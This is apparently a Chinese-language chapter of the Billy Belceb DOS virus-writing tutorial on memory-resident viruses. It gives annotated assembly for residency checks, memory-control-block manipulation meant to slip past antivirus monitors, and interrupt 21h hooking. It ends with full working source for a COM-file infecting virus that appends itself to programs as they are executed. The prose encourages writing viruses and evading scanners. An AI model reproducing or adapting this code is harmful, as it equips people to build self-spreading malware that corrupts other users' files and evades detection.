Billy Belceb病毒編寫教程(DOS篇)---駐留記憶體病毒
【更多的酷病毒:駐留記憶體病毒(RESIDENT viruses)】
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
如果你已經讀到這裡,而且你還活著,那你將會從這裡走向光明:)
下面開始有趣的東西給你讀,讓我寫了。
%什麼是駐留記憶體程式?%
~~~~~~~~~~~~~~~~~~~~~~
好了,首先我給你介紹的是相反的情況:)
當我們執行一個非駐留記憶體程式(如edit之類的普通程式)時,DOS會給它分配確定的記憶體,但是這段記憶體在程式終止的時候將會被重新分配(利用INT 20h,或者INT 21h如著名的4Ch)。
而一個駐留記憶體程式執行的時候和一般的程式一樣,但是它在程式終止的時候將會留一段程式在記憶體中,不會被重新分配。駐留記憶體程式(也叫TSR = Terminate and Stay Resident ) ,通常會代替某些中斷,寫上它自己的程式碼,來執行它們設計的任務。TSR程式有什麼用途呢?我們可以用來破解(偷取口令),編我們自己酷工具...當然所有這些取決於你的想象力啦。當然,我也沒忘記...編寫駐留記憶體程式:)
%一個TSR病毒將會做什麼?%
~~~~~~~~~~~~~~~~~~~~~~~~
TSR並不是呼叫駐留在記憶體中的病毒的最好的方法。假如你正在執行某個程式,並且它返回到DOS。不,我們不能終止它和保持駐留記憶體。使用者將會注意到有些不對勁。我們必須返回和保持駐留記憶體:) TSR僅僅是一個縮寫(不要用錯了,我必須加上這一點)。駐留記憶體病毒能提供給我們一個新世界。我們可以編寫出能感染更多程式的病毒,更安全...當檢測到有企圖開啟/讀檔案的操作我們可以給檔案防毒(想象一下,查防毒工具將會什麼也發現不了),我們可以hook查防毒工具所要使用的函式來欺騙它們,我們可以減去病毒的大小以逃過外行的眼睛(當然也包括專家的啦)。
;--------從這兒開始剪下----------------------------------------------------
; 這個程式將會檢測它是不是已經在記憶體中了,如果已經在記憶體中了,它將會給我們提
; 示資訊。如果沒有,它將會駐留到記憶體中,並顯示另外一個資訊。
.model tiny
.code
org 100h
start:
jmp fuck
newint21:
cmp ax,0ACDCh ; Are user caliing our function?
je is_check ; If yes, answer the call
jmp dword ptr cs:[oldint21] ; Else jump to original int 21
is_check:
mov ax,0DEADh ; We answer it
iret ; And make an interrupt return :)
oldint21 label dword
int21_off dw 0000h
int21_seg dw 0000h
fuck:
mov ax,0ACDCh ; Residence check
int 21h ; Invented function, of course ;)
cmp ax,0DEADh ; Are we here?
je stupid_yes ; If yes, show message 2
mov ax,3521h ; If not, we go and install
int 21h ; Function for get INT 21h vectors
mov word ptr cs:[int21_off],bx ; We store offset at oldint21+0
mov word ptr cs:[int21_seg],es ; We store segment at oldint21+2
mov ax,2521h ; Function for put new int 21 handler
mov dx,offset newint21 ; where is it located
int 21h
mov ax,0900h ; Show message 1
mov dx,offset msg_installed
int 21h
mov dx,offset fuck+1 ; Make resident from offset 0 until
int 27h ; offset in dx using int 27h
; This will also terminate program<g>
stupid_yes:
mov ax,0900h ; Show message 2
mov dx,offset msg_already
int 21h
int 20h ; Terminate program.
msg_installed db "Stupid Resident not installed. Installing...$"
msg_already db "Stupid Resident is alive and kicking your ass!$"
end start
;-----到這兒為止剪下-----------------------------------------------------
這個小例子不能被用來編寫一個病毒...為什麼呢?INT 27h,當把一個程式放到記憶體中後,就會終止當前的程式。把程式碼放到記憶體中,利用INT 20h或其它任何方法來終止當前程式的執行也是一樣。
那麼...我們該利用什麼來編寫一個病毒呢?
%TSR病毒演算法%
我們可以按如下步驟(模仿在病毒編寫中很好...):
1.檢查程式是否已經駐留記憶體(是,跳到5;否,繼續)
2.開闢我們所需要的記憶體
3.複製病毒主體到記憶體中
4.獲得中斷向量,儲存它們並用我們的代替
5.恢復目標檔案
6.返回控制權
%駐留記憶體檢測%
~~~~~~~~~~~~~~
當我們編寫一個駐留記憶體程式時,我們必須至少檢查一次看看我們的程式是否已被安裝了。通常,它是一個創造函式,當我們呼叫它,這個函式給我們返回一個確定的值(當然是我們選擇的了)或者如果它沒有駐留記憶體,它使AL=00。
讓我們看一個例子:
mov ax,0B0B0h
int 21h
cmp ax,0CACAh
je already_installed
[...]
如果它已經駐留記憶體了,我們就恢復感染的檔案,並把控制權返回給原來的程式。如果沒有駐留記憶體,我們就把它駐留記憶體。INT 21h 對病毒的處理將會如下:
int21handler:
cmp ax,0B0B0h
je install_check
[...]
db 0EAh
oldint21:
dw 0,0
install_check:
mov ax,0CACAh
iret
%分配記憶體修改MCB%
~~~~~~~~~~~~~~~~~
開闢記憶體用得最多的就是MCB(Memory Control Block)。有兩個方法來達到這個目的:使用DOS和直接實現。看到每種方法都這麼痛苦,讓我們看看什麼是MCB。
記憶體控制模組(MCB)是由DOS建立的每個程式使用的控制塊。這個模組的長度是一段(16位元組),它總是在分配記憶體之前分配。啊!個數總能被16整除。如果是一個COM檔案,我們可以利用程式的程式碼段減1(CS-1)得到MCB的位置,如果是EXE檔案,則利用DS(記住,在EXE檔案中,CS<>DS)。你可以在結構體一章檢視MCB的結構(在上一章我們已經看過了)。
使用DOS修改MCB:
在我寫的第一個病毒Antichrist Superstar中,我使用的方法簡單而有效。首先,我們請求DOS對所有的記憶體(BX=FFFFh)使用INT 21h的4Ah功能,這是一個很難達到的值。透過這個功能,我們將會看到我們申請了太多的記憶體,所以,在BX中我們將會得到我們所能使用的所有記憶體。所以我們把這個值減去病毒程式碼的長度的段數(((size+15)/16)+1)然後再次呼叫4Ah功能。現在該是把自由記憶體減去我們想要的記憶體數的時候了。我們可以利用"sub word ptr ds:[2],(size+15)/16+1",然後利用BX中的以段為基數的程式碼長度,呼叫DOS的48h功能。這個將會把開闢的塊的段返回到AX中,所以我們把它放到ES中,把AX減1,並把新值賦給DS。現在我們在DS中得到了MCB,所以我們該操作它了。我們必須賦給DS:[0]位元組"Z"或者"M"(依賴於你的需要,參閱MCB結構),在DS:[1]裡是字0008,為了告訴DOS這個塊是它自己的,然後它不會覆蓋它。
Arf,Arf...在這麼一大段理論之後,一些程式碼將是多麼好啊。下面的程式碼將會按你的需要配置MCB:
mov ax,4A00h ; Here we request for an impossible
mov bx,0FFFFh ; amount of free memory
int 21h
mov ax,4A00h ; And we substract the virus size in
sub bx,(virus_size+15)/16+1 ; paras to the actual amount of mem
int 21h ; ( in BX ) and request for space.
mov ax,4800h ; Now we make DOS substract 2 da free
sub word ptr ds:[2],(virus_size+15)/16+1 ; memory what we need in
mov bx,(virus_size+15)/16 ; paragraphs
int 21h
mov es,ax ; In AX we get the segment of our
dec ax ; memory block ( doesn't care if EXE
mov ds,ax ; or COM ), we put in ES, and in DS
; ( substracted by 1 )
mov byte ptr ds:[0],"Z" ; We mark it as last block
mov word ptr ds:[1],08h ; We say DOS the block is of its own
相當簡單而有效...然而,這僅僅是操作記憶體,它不能把你的程式碼移到記憶體中去。這非常簡單,但是我們將會在後面看到。
直接修改MCB:
這種方法方式基本上差不多,但是達到我們不得的方法不同。使得這種方法更好的原因是利用這種方法:一個TSR病毒查殺監視程式不會知道任何記憶體操作因為我們沒有使用任何中斷:)
我們所做的第一件事是把DS賦給AX(因為我們利用段不能做任何事),我們把它減1,然後再把它賦給DS。現在DS指向MCB。如果你還記得MCB的結構,在偏移地址3處,我們將會得到當前記憶體的段數。所以我們需要把這個值減去我們打算使用的記憶體數。我們將要使用BX(為什麼不?)如果我們看一下過去的介紹,我們將會記起MCB在PSP的上面16位元組處。所有的PSP偏移地址要向後移16(10h)位元組。我們需要改變TOM的值,在PSP的偏移地址2處,但是現在我們不會指向PSP,我們要指向MCB。我們能做的是什麼呢?我們使用偏移地址12h(2+16=18=12h),而不使用偏移地址2。我們把它減去所需記憶體的節數(記住,病毒的大小+15除以16)。這個偏移地址的新值是我們程式的新段,並且我們在一個新段中要使用它。我們打算使用附加段(ES)。但是我們可以對ES和這個位置(也就是段操作的限制)進行mov操作。我們必須要使用一個暫時的暫存器(temporal rigister)。AX最好不過了。現在我們標誌ES:[0] "Z"(在我們把DS作為段暫存器處理之前),ES:[1] 8。
介紹完這些總是煩人的理論之後,下面是程式碼:
mov ax,ds ; DS = PSP
dec ax ; We use AX as temporal register
mov ds,ax ; DS = MCB
mov bx,word ptr ds:[03h] ; We put in BX the amount of memory
sub bx,((virus_size+15)/16)+1 ; and then we put in BX for change
mov word ptr ds:[03h],bx ; We put it in its original place
mov byte ptr ds:[0],"M" ; Mark as not last block
sub word ptr ds:[12h],((virus_size+15)/16)+1 ; Subs virus size
; to TOM size
mov ax,word ptr ds:[12h] ; Now offset 12h handles the new seg.
mov es,ax ; And we need AX for put it in ES
mov byte ptr es:[0],"Z" ; Mark as last block
mov word ptr es:[1],0008h ; Mark DOS as owner
%把病毒放到記憶體中%
~~~~~~~~~~~~~~~~~~
在駐留記憶體病毒的編寫中,這是最簡單的。如果你知道我們使用MOVSB這個指令(當然還有MOVSW,MOVSD...)能做什麼,那你就知道由多簡單了。而我們必須做的是確定移動什麼和移動多少資料。這相當簡單,可以想象,要移動的資料的開始總是等於偏移地址的變化量,假如我們已經把偏移地址的變化量賦給BP,我們所要做的所有事情就是把BP的內容賦給SI,並把病毒的大小以位元組的形式賦給CX(或者如果我們想用MOVSW就以字的形式)。記住DI必須為0,使用xor di,di就足夠了(一種使指令mov di,0的最佳化方法)。讓我們來看程式碼...
push cs ; Adjust segments
pop ds ; CS = DS
xor di,di ; DI = 0 ( Top Of Memory )
mov si,bp ; SI = offset virus_start
mov cx,virus_size ; CX = virus_size
rep movsb ; Move bytes from DS:SI to ES:DI
%鉤住中斷(Hooking interrupts)%
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
在把我們的病毒移入記憶體之後,我們需要修改它使得至少能感染其它檔案。在所有的駐留記憶體病毒中,通常是INT 21h,但是在一個啟動扇區病毒(或者分成多部分還感染軟盤和MBR的病毒)中,我們還必須鉤住INT 13h。我們要鉤住的中斷取決於我們的需要。有兩種鉤住中斷的方法:使用DOS或者檢測鉤子。在編寫我們的處理程式時我們必須強調一些東西:
首先,我們必須在開始處理程式之前使用壓棧來儲存所有的暫存器的值(標誌也要儲存),而且在我們要把控制權返回給原先程式的時候,要把它們所有都出棧。
其次,我們必須記住我們永遠不要使用那些已經被我們鉤住了的中斷,否則我們將會陷入無限迴圈。讓我們想象一下我們已經鉤住了INT 21h的3Dh功能(開啟檔案),我們呼叫這個鉤住的功能(或者另外一個我們自己的中斷處理程式)...計算機將會掛機了。為此,我們應該按照如下方法假呼叫INT 21h:
CallINT21h:
pushf
call dword ptr cs:[oldint21]
iret
我們還能做另外一件事情。我們能夠重定向另外一箇中斷,使它指向舊的INT 21h。一個好的選擇看上去是INT 03h:它是一個好的反除錯的花招,使得我們的程式碼更小(INT 03h的編碼是CCh,只有一個位元組,而普通的中斷的編碼為CDh XX,XX是我們中斷號的十六進位制數),而且我們忘記了呼叫被鉤住的功能的所有問題。當我們要把控制權交給原先的INT 21h的時候,最好恢復所有的被鉤住的被重定向到INT 21h的中斷。
利用DOS鉤住中斷:
我們必須在放入我們自己的向量之前獲得原先中斷的向量。這個可以利用INT 21h 的35h功能來實現。讓我們來看一下這個功能的引數:
AH=35h
AL=中斷號
呼叫之後,它將會返回如下值:
AX=Preserved
ES=Interrupt Handler Segment
BX=Interrupt Handler Offset
呼叫這個功能之後,我們把ES:BX儲存到我們的程式碼的一個變數裡,以備後用,並設定一個新的中斷處理控制程式碼。我們必須使用的功能是INT 21h的25h。下面給出引數:
AH = 25h
AL = Interrupt Number
DS = New Handler Segment
DX = New Handler Offset
讓我們看看透過使用DOS來實現中斷鉤子的例子:
push cs ; Adjust segments
pop ds ; CS = DS
mov ax,3521h ; Get interrupt vector function
int 21h
mov word ptr [int21_off],bx ; Now store variables
mov word ptr [int21_seg],es
mov ah,25h ; Put new interrupt
lea dx,offset int21handler ; Offset to new handler
int 21h
[...]
oldint21 label dword
int21_off dw 0000h
int21_seg dw 0000h
直接中斷鉤子:
如果我們忘記了DOS,我們將贏得我曾經提過的東西(在直接MCB修改中)。你還記得中斷向量表的結構嗎?它在0000:0000處開始,到0000:0400h處為止。這裡有我們所能使用的所有中斷,從INT 00h到INT FFh。讓我們看看一些程式碼:
xor ax,ax ; Make zero AX
mov ds,ax ; For make zero DS ( now AX=DS=0 )
push ds ; We nned to restore DS later
lds dx,ds:[21h*4] ; All interrupts are in int number*4
mov word ptr es:int21_off,dx ; Where save offset
mov word ptr es:int21_seg,ds ; " " segment
pop ds ; Restore DS
mov word ptr ds:[21h*4],offset int21handler ; The new handler
mov word ptr ds:[21h*4+2],es
%關於駐留記憶體的最後的討論%
這並不是這篇教程的最後,我們還要討論很多病毒呢,所有這些話題將在接下來的討論中見到,但是我認為你現在應該知道怎麼編寫駐留記憶體病毒了。從現在起到最後的所有討論都是有關於TSR病毒的。當然了,如果我說有些是執行期病毒的話,不要尖叫呦!:)
在結束這一課的時候,我必須給出一個完整的駐留記憶體病毒。這裡我還要使用G病毒,它是一個很蹩腳的感染COM的病毒。
;-------從這裡開始剪下----------------------------------------------------
; 這段程式碼註釋得和執行期病毒一樣好。我希望到這裡後所有得問題都很清楚了。
; Virus generated by G 0.70
; 作者 Dark Angel 屬於Phalcon/Skism
; 彙編:TASM /m3 lame.asm
; 連線: Tlink /t lame.obj
checkres1 = ':)'
checkres2 = ';)'
.model tiny
.code
org 0000h
start:
mov bp, sp
int 0003h
next:
mov bp, ss:[bp-6]
sub bp, offset next ; Get delta offset
push ds
push es
mov ax, checkres1 ; Installation check
int 0021h
cmp ax, checkres2 ; Already installed?
jz done_install
mov ax, ds
dec ax
mov ds, ax
sub word ptr ds:[0003h], (endheap-start+15)/16+1
sub word ptr ds:[0012h], (endheap-start+15)/16+1
mov ax, ds:[0012h]
mov ds, ax
inc ax
mov es, ax
mov byte ptr ds:[0000h], 'Z'
mov word ptr ds:[0001h], 0008h
mov word ptr ds:[0003h], (endheap-start+15)/16
push cs
pop ds
xor di, di
mov cx, (heap-start)/2+1 ; Bytes to move
mov si, bp ; lea si,[bp+offset start]
rep movsw
xor ax, ax
mov ds, ax
push ds
lds ax, ds:[21h*4] ; Get old int handler
mov word ptr es:oldint21, ax
mov word ptr es:oldint21+2, ds
pop ds
mov word ptr ds:[21h*4], offset int21 ; Replace with new handler
mov ds:[21h*4+2], es ; in high memory
done_install:
pop ds
pop es
restore_COM:
mov di, 0100h ; Where to move data
push di ; In what offset will the ret go
lea si, [bp+offset old3] ; What to move
movsb ; Move 3 bytes
movsw
ret ; Return to 100h
old3 db 0cdh,20h,0
int21:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cmp ax, 4B00h ; execute?
jz execute
return:
jmp exitint21
execute:
mov word ptr cs:filename, dx
mov word ptr cs:filename+2, ds
mov ax, 4300h ; Get attributes for later restore
lds dx, cs:filename
int 0021h
jc return
push cx
push ds
push dx
mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h
lds dx, cs:filename ; Open file for read/write
mov ax, 3D02h
int 0021h
xchg ax, bx
push cs ; Adjust segments
pop ds
push cs
pop es ; CS=ES=DS
mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx
mov cx, 001Ah ; Read 1Ah bytes of file
mov dx, offset readbuffer
mov ah, 003Fh
int 0021h
mov ax, 4202h ; Move file pointer to the end
xor dx, dx
xor cx, cx
int 0021h
cmp word ptr [offset readbuffer], 'ZM' ; Is it EXE ?
jz jmp_close
mov cx, word ptr [offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jl skipp
jmp_close:
jmp close
skipp:
cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so
mov di, offset old3 ; Restore 3 first bytes
mov si, offset readbuffer
movsb
movsw
sub ax, 0003h
mov word ptr [offset readbuffer+1], ax
mov dl, 00E9h
mov byte ptr [offset readbuffer], dl
mov dx, offset start
mov cx, heap-start
mov ah, 0040h ; concatenate virus
int 0021h
xor cx, cx
xor dx, dx
mov ax, 4200h ; Move pointer to the beginning
int 0021h
mov dx, offset readbuffer ; Write first 3 bytes
mov cx, 0003h
mov ah, 0040h
int 0021h
close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h
mov ah, 003Eh ; Close file
int 0021h
pop ax ; restore file attributes
pop dx ; get filename and
pop ds
pop cx ; attributes from stack
int 0021h
exitint21:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 00EAh ; return to original handler
oldint21 dd ?
signature db '[PS/G]',0
heap:
filename dd ?
readbuffer db 1ah dup (?)
endheap:
end start
;-------到這裡為止剪下----------------------------------------------------
對不住了,我知道我實在是太懶了。你也可以認為這是一種懶惰的態度,可能就是吧。但是隻要想想在寫這篇教程的時候我正在編寫一些病毒和為DDT雜誌寫文章,所以我就沒有足夠的時間來為這篇教程寫我自己的病毒了。嗨,沒有人因為這篇文章給我報酬,你知道嗎?:)
相關文章
- Billy Belceb病毒編寫教程DOS篇---宣告2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---加密2015-11-15加密
- Billy Belceb病毒編寫教程(DOS篇)---病毒編寫所需的軟體2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---附錄2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---隱蔽(Stealth)2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---優化(Optimization)2015-11-15優化
- Billy Belceb病毒編寫教程(DOS篇)有用的結構體2015-11-15結構體
- Billy Belceb病毒編寫教程(DOS篇)---Tunneling2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---多型(polymorphism)2015-11-15多型
- Billy Belceb病毒編寫教程(DOS篇)反探索(Anti-Heuristics)2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---Anti-tunneling2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)---保護你的程式碼2015-11-15
- Billy Belceb病毒編寫教程(DOS篇)一些重要的理論2015-11-15
- Billy Belceb 病毒編寫教程for Win32 ----附錄2004-05-28Win32
- [翻譯]Billy
Belceb 病毒編寫教程for Win32----- 宣告2004-05-28Win32
- Billy Belceb 病毒編寫教程for Win32 ----PE檔案頭2015-11-15Win32
- Billy Belceb 病毒編寫教程for Win32 ----簡單介紹2015-11-15Win32
- [翻譯]Billy Belceb 病毒編寫教程for Win32 ----病毒編寫中的有用的東西2004-05-28Win32
- Billy Belceb 病毒編寫教程for Win32 ----Per-Process?residency2004-05-28Win32IDE
- Billy Belceb 病毒編寫教程for Win32 ----Win32優化2004-05-28Win32優化
- Billy Belceb 病毒編寫教程for Win32 ----Win32多型2004-05-28Win32多型
- Billy Belceb 病毒編寫教程for Win32 ----Win32 反除錯2004-05-28Win32除錯
- Billy Belceb 病毒編寫教程for Win32 ----高階Win32技術2004-05-28Win32
- 用匯編編寫DOS下的記憶體駐留程式(5) (轉)2007-12-05記憶體
- 用匯編編寫DOS下的記憶體駐留程式(3) (轉)2007-08-15記憶體
- 用匯編編寫DOS下的記憶體駐留程式(4) (轉)2007-08-15記憶體
- Billy Belceb 病毒編寫教程for Win32 ----Ring-0,系統級編碼2004-05-28Win32
- Billy Belceb 病毒編寫教程for Win32 ----Ring-3,使用者級編碼2015-11-15Win32
- SQL Server表駐留記憶體和檢測2010-07-21SQLServer記憶體
- CIH病毒原理的應用——實體記憶體的讀寫 (轉)2007-12-23記憶體
- CIH 病毒原理的應用――實體記憶體的讀寫 (4千字)2001-07-02記憶體
- Qealler - 一個用Java編寫的惡意病毒軟體2019-02-08Java
- AutoRun病毒防火牆如何使用 AutoRun病毒防火牆教程2016-08-05防火牆
- 金山毒霸:DOS病毒復活 穿越者輕鬆突破主流防毒軟體2016-07-06防毒
- 【計算機病毒編年史】2017-05-16計算機
- 照片記憶編寫軟體:Memory Pictures for Mac2022-11-13Mac
- linux 設定預留記憶體2024-07-05Linux記憶體
- 病毒“死神下載器”來了 破壞防毒軟體下病毒2007-09-29防毒